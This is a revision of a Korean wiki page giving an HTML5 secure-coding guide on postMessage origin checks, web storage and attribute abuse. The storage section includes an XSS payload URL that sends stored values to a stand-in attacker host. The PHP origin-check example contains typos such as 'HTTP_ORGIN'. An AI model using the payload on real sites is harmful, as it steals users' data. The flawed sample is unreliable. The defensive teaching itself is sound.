문서의 이전 판입니다!


HTML5 보안 개발 가이드

1절. Cross-Document Messaging

가. 정의

HTML5는 postMessage라는 새로운 API를 제공한다. 이는 한 도메인에서 다른 도메인으로 데이터를 전달하는 스크립트에 대한 프레임 워크이다. 이런 데이터 요청이 해킹이 아닌지 명확하게 하기 위해서, postMessage는 개발자가 데이터 요청의 origin check를 할 수 있게하는 object property를 포함한다. 그러나 HTML5는 이런 origin check를 강요하지 않기 때문에, 부주의한 개발자는 origin check를 하지 않을 수 있으며, 이는 결과적으로 해킹 사이트에 postMessage요청을 노출하게 된다.

wndow.postMessage(data, targetOrigin, [ports])

나. 안전한 코딩 기법

postMessage를 위한 보안지침은 메세지는 반드시 예상되지 않거나 원치 않는 origin 페이지에 전달되지 말아야 한다는 것이다. 만약 송신자가 postMessage를 호출하는 창이 특정 origin을 가지고 있지 않으면(예로, 사용자가 다른 사이트를 탐색하는 경우) 브라우저는 메세지를 전달하지 않을 것이다.

다. 예제

If($_SERVER['HTTP_ORGIN'] == 'http://trusted.site'){
    header('Access-Control-Allow-Origin: http://trusted.site');
    //process request
    }
else{
       exit;
}

2절. Client-Side Storage

가. 정의

HTML5에 추가된 스펙 중 localStorage와 sessionStorage라는 객체가 있다. 사용자의 로컬에 데이터를 저장해두고, 불러올 수 있는 기능으로 이전의 쿠키를 대체할 수 있다. localStorage는 저장한 데이터에 반영구적으로 접근할 수 있는 반면(브라우저를 종료 후 재접속해도 가능), sessionStorage는 브라우저가 닫히기 전까지만 접근이 가능하다. 유효기간을 별도로 정하지 않는다는 점을 제외하면 쿠키와 비슷하게 동작한다고 볼 수 있다.

나. 안전한 코딩 기법

Storage에 저장되는 값은 별도의 유효기간이 정해져 있지 않아 영구적으로 보존된다. 따라서 사용되지 않는 데이터는 삭제해 주는 것이 바람직하다.

다. 예제

http://example.com/page.php?name=<script>document.write('<img src="http://foo.com/evil.php?name=' %2B globalStorage[location.hostname].mykey %2B '">');</script>

위의 코드는 example.com 사이트의 page.php의 인자 값 name에 대해 입력 값 검증이 제대로 되어있지 않아 XSS취약점이 존재 했을 때 Storage의 mykey 키의 값을 공격자에게 전송해 주는 코드이다. 만약 중요한 데이터가 남아있었다면 XSS 공격을 사용하여 해당 데이터가 유출되었을 것이다.

3절. Attribute Abuse

가. 정의

HTML5에는 새로운 태그가 많이 생겼다. 새로운 속성들이 있는데, 이는 친숙한 태그들에 적용되고 이런 속성들이 abuse 될 수 있다. 이런 속성값들이 자동적인 스크립트 실행의 트리거가 될 경우 위협이 되게 된다.

나. 안전한 코딩 기법

다. 예제